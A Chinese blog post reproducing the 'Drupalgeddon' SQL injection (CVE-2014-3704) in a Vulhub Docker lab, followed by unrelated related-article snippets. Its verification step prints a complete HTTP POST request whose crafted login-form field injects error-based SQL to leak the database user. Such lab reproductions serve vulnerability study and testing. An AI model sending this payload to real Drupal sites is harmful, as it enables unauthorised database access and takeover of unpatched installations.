首页 > 数据库 > Drupal < 7.32版本 _“Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

Drupal < 7.32版本 _“Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

时间:2023-09-11 21:00:59浏览次数:40  
标签:7.32 Drupal 漏洞 版本 SQL 2014 CVE

目录

说明 内容
漏洞编号 CVE-2014-3704
漏洞名称 Drupal “Drupalgeddon” SQL注入漏洞
漏洞评级
影响范围 Drupal 7.0~7.31版本
漏洞描述
修复方案

1.1、漏洞描述

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

1.2、漏洞等级

1.3、影响版本

Drupal 7.0~7.31版本

1.4、漏洞复现

1、基础环境

Path:Vulhub/drupal/CVE-2014-3704


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8080/即可看到Drupal的安装页面,使用默认配置安装即可

image-20230911203654972

其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql

image-20230911203842279

image-20230911204348468

2、漏洞扫描

3、漏洞验证

发送如下数据包:

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

image-20230911204539269

SQL 语句报告包含用户数据的错误消息

标签:7.32,Drupal,漏洞,版本,SQL,2014,CVE
From: https://www.cnblogs.com/saury/p/17694498.html

相关文章

  • 2014年工作中遇到的20个问题:181-200
    181.项目中需要用到commons-email,想通过maven引入。<dependency><groupId>org.apache.commons</groupId><artifactId>commons-email</artifactId><version>1.2</version></dependency>在下载javax-mail的时候,遇到问题了。我不断尝试各种方法,最后把Ma......
  • 【LuoGu】2014 选课——树上DP
    [CTSC1997]选课题目描述在大学里每个学生,为了达到一定的学分,必须从很多课程里选择一些课程来学习,在课程里有些课程必须在某些课程之前学习,如高等数学总是在其它课程之前学习。现在有\(N\)门功课,每门课有个学分,每门课有一门或没有直接先修课(若课程a是课程b的先修课即只有......
  • P4042 [AHOI2014/JSOI2014] 骑士游戏
    原题非常好的一道题,用到了一个重要的思路:消除\(dp\)的后效性不要觉得这个东西很恐怖,其实这个东西并不复杂,只是名字有点吓人我们容易想到对把原题抽象成一个图,我们容易想到如果该图为\(DAG\)我们要怎么做,直接拓扑上\(dp\)即可但回到原题,我们发现\(dp\)就有了一些问题:这个题是有......
  • Drupal XSS漏洞(CVE-2019-6341)
    目录漏洞复现复现环境:Vulhub环境启动后,访问http://192.168.80.141:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库漏洞复现该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际......
  • P2305 [NOI2014] 购票
    P2305[NOI2014]购票Solution记\(f_{i}\)表示\(i\)节点处的答案。\(f_1=0\)。记\(d_i\)表示根节点到点\(i\)的距离,容易得到\(O(n^2)\)的dp转移:\[f_{i}\xleftarrow{\min}f_j+(d_i-d_j)\timesp_i+q_i,d_i-d_j\lel_i\]设\(y=f_i-d_i\timesp_......
  • P5904 [POI2014] HOT-Hotels 加强版
    自然的想法是枚举共同的交点,然后进行换根dp,复杂度可以做到\(\mathcalO(n^2)\),可以通过简单版,但是显然过不了\(10^5\)的数据,考虑进行优化。记\((x,y,z)\)为满足要求的点,即满足\(a=b+c\),树形dp原则是子树内的信息无后效性,尽量把子树内的信息合并在一起。所以\(a-b=c\),......
  • Autocad2014下载安装-Autocad2014功能介绍
    Autocad2014注册机是一款专为Autocad2014设计软件提供注册的辅助软件。用户使用Autocad2014zcj可以将未经注册激活的Autocad2014软件成功注册并激活。这款软件操作简单,易于使用,拥有广泛的受众群体,如建筑师、工程师和建筑专业人员等,借助它,可以准确地和客户共享设计数据,体验本地DWG......
  • 「JLOI2014」松鼠的新家 题解
    「JLOI2014」松鼠的新家前言这道题倒也不是很难,只是有一些小坑需要避一下,可以看作半个LCA树上差分裸题。解析考虑维护一个树,点\(u\)表示每个房间需要的糖果数\(s_u\),而维尼在参观房间时从\(a\)到\(b\)就需要在\((a,\tob)\)的路径上的每个房间都摆上一个糖果,这时直......
  • WordPress、Drupal和Joomla!等PHP系统的对比分析 - 开源CMS比较
    选择一个适合自己网站的内容管理系统(CMS)是非常重要的。在众多的选择中,我们经常听到的有WordPress、Drupal和Joomla!等PHP系统。本文将对这三个开源CMS进行详细的比较和分析,帮助您做出最佳选择。1.WordPressWordPress是目前最受欢迎的开源CMS之一,它简单易用且拥有强大的生态系统......
  • [NOI2014] 起床困难综合症
    [NOI2014]起床困难综合症洛谷题目描述\(21\)世纪,许多人得了一种奇怪的病:起床困难综合症,其临床表现为:起床难,起床后精神不佳。作为一名青春阳光好少年,atm一直坚持与起床困难综合症作斗争。通过研究相关文献,他找到了该病的发病原因:在深邃的太平洋海底中,出现了一条名为drd的......